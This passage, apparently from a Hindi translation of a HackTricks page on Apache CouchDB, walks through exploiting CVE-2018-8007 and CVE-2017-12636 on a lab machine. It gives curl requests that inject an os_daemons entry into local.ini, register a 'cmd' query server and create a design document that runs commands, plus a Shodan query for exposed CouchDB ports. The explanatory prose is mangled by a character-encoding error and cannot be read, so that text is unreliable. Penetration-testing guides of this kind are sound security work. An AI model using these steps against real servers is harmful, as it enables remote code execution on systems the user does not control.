рдЬрд╛ рд╕рдХреЗред рдЖрдк рдпрд╣рд╛рдВ RCE рдХреЗ рд▓рд┐рдП Erlang рдХреБрдХреАрдЬрд╝ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рд╕реНрддреГрдд рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдХрд╛ рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

local.ini рдХреЗ рд╕рдВрд╢реЛрдзрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ CVE-2018-8007 рдХрд╛ рд╢реЛрд╖рдг

рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдВ рд╕реЗред

рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдкреНрд░рдХрдЯ рд╣реБрдИ рдПрдХ рднреЗрджреНрдпрддрд╛, CVE-2018-8007, рдЬреЛ Apache CouchDB рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ, рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП local.ini рдлрд╝рд╛рдЗрд▓ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЗ рдХрд╛рд░рдг рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рд╕реАрдзреЗ рд▓рд╛рдЧреВ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛, рд▓реЗрдХрд┐рди рдЕрдиреНрд╡реЗрд╖рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП local.ini рдлрд╝рд╛рдЗрд▓ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрди рдХрд┐рдП рдЧрдПред рдиреАрдЪреЗ рд╡рд┐рд╕реНрддреГрдд рдЪрд░рдг рдФрд░ рдХреЛрдб рдЙрджрд╛рд╣рд░рдг рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рд╣реИрдВ, рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВред

рдкрд╣рд▓реЗ, рд╡рд╛рддрд╛рд╡рд░рдг рдХреЛ рдЗрд╕ рдмрд╛рдд рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдХреЗ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ local.ini рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╣реИ, рдЬрд┐рд╕реЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдХрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ curl рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ local.ini рдореЗрдВ cors/origins рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ [os_daemons] рдЕрдиреБрднрд╛рдЧ рдХреЗ рддрд╣рдд рдЕрддрд┐рд░рд┐рдХреНрдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ рдореВрд▓ рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реИ:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

рдЕрдЧрд▓реА рд╕рддреНрдпрд╛рдкрди local.ini рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХреА рдЧрдИ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рджрд┐рдЦрд╛рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдмреИрдХрдЕрдк рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХреА рдЧрдИ рд╣реИ:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

рд╢реБрд░реБрдЖрдд рдореЗрдВ, рдЕрдкреЗрдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓ (/tmp/0xdf) рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ, рдЬреЛ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдХрдорд╛рдВрдб рдЕрднреА рддрдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рд╣реБрдЖ рд╣реИред рдЖрдЧреЗ рдХреА рдЬрд╛рдВрдЪ рд╕реЗ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ CouchDB рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЪрд▓ рд░рд╣реА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдРрд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИ:

root@canape:/home/homer/bin# ps aux | grep couch

CouchDB рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдХреЗ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЗрд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдХрд░, рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдкрд╣рд▓реЗ рдЧрд╛рдпрдм рдлрд╝рд╛рдЗрд▓ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рд╕реЗ рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛рддреА рд╣реИ:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

рдпрд╣ рдЕрдиреНрд╡реЗрд╖рдг рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд CVE-2018-8007 рд╢реЛрд╖рдг рдХреА рд╡реНрдпрд╡рд╣рд╛рд░реНрдпрддрд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ local.ini рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ред рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХреЛрдб рдЙрджрд╛рд╣рд░рдг рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рддреНрдордХ рдЪрд░рдг рдирд┐рдпрдВрддреНрд░рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╢реЛрд╖рдг рдХреЛ рджреЛрд╣рд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдкрд╖реНрдЯ рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред

CVE-2018-8007 рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП, mdsec рджреНрд╡рд╛рд░рд╛ рд╕рд▓рд╛рд╣рдХрд╛рд░ рдкрд░ рдЬрд╛рдПрдВ: CVE-2018-8007ред

local.ini рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде CVE-2017-12636 рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг

рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдВ рд╕реЗред

CVE-2017-12636 рдХреЗ рд░реВрдк рдореЗрдВ рдЬреНрдЮрд╛рдд рдПрдХ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬреЛ CouchDB рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЗрд╕рдХреЗ рд╢реЛрд╖рдг рдХреЛ рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВред рдСрдирд▓рд╛рдЗрди рдЙрдкрд▓рдмреНрдз рдХрдИ рдкреНрд░рдорд╛рдг-рдХреЛрдг (POC) рд╕рдВрджрд░реНрднреЛрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж, CouchDB рд╕рдВрд╕реНрдХрд░рдг 2 рдкрд░ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рдпреЛрдЬрди рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ, рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рд▓рдХреНрд╖рд┐рдд рд╕рдВрд╕реНрдХрд░рдг 1.x рд╕реЗ рднрд┐рдиреНрди рд╣реИред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЪрд░рдгреЛрдВ рдореЗрдВ CouchDB рд╕рдВрд╕реНрдХрд░рдг рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдкрде рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

CouchDB рд╕рдВрд╕реНрдХрд░рдг 2.0 рдХреЗ рд▓рд┐рдП, рдПрдХ рдирдпрд╛ рдкрде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

рдирдП рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдФрд░ рдЙрд╕реЗ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рдЕрдиреБрдорддрд┐ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдирд╛ рдкрдбрд╝рд╛, рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЖрдЙрдЯрдкреБрдЯ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдХреЗрддрд┐рдд рд╣реИ:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

рдЕрдзрд┐рдХ рдЬрд╛рдВрдЪ рд╕реЗ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ local.ini рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде рдЕрдиреБрдорддрд┐ рд╕рдорд╕реНрдпрд╛рдПрдБ рдереАрдВ, рдЬрд┐рд╕реЗ рд▓рд┐рдЦрд╛ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛ред рд░реВрдЯ рдпрд╛ рд╣реЛрдорд░ рдПрдХреНрд╕реЗрд╕ рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ, рдЖрдЧреЗ рдмрдврд╝рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЧрдпрд╛:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

рдЕрдЧрд▓реЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдореЗрдВ рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдореЗрдВ рд╕рдлрд▓рддрд╛ рдорд┐рд▓реА, рдЬреИрд╕рд╛ рдХрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рд╕реЗ рд╕реНрдкрд╖реНрдЯ рд╣реИред local.ini рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдлрд▓ рд╕рдВрд╢реЛрдзрди рдХреА рдкреБрд╖реНрдЯрд┐ рдлрд╝рд╛рдЗрд▓ рддреБрд▓рдирд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреА рдЧрдИ:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдФрд░ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдмрдирд╛рдиреЗ рдХреЗ рд╕рд╛рде рдЬрд╛рд░реА рд░рд╣реА, рдЗрд╕рдХреЗ рдмрд╛рдж рдирдП рдЬреЛрдбрд╝реЗ рдЧрдП рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо рд╡реНрдпреВ рдореИрдкрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

A рд╕рд╛рд░рд╛рдВрд╢ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдкреЗрд▓реЛрдб рд╣реИ, рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд CVE-2017-12636 рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╕рдВрд╕рд╛рдзрди рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

Shodan

  • port:5984 couchdb

рд╕рдВрджрд░реНрдн

Support HackTricks

Last updated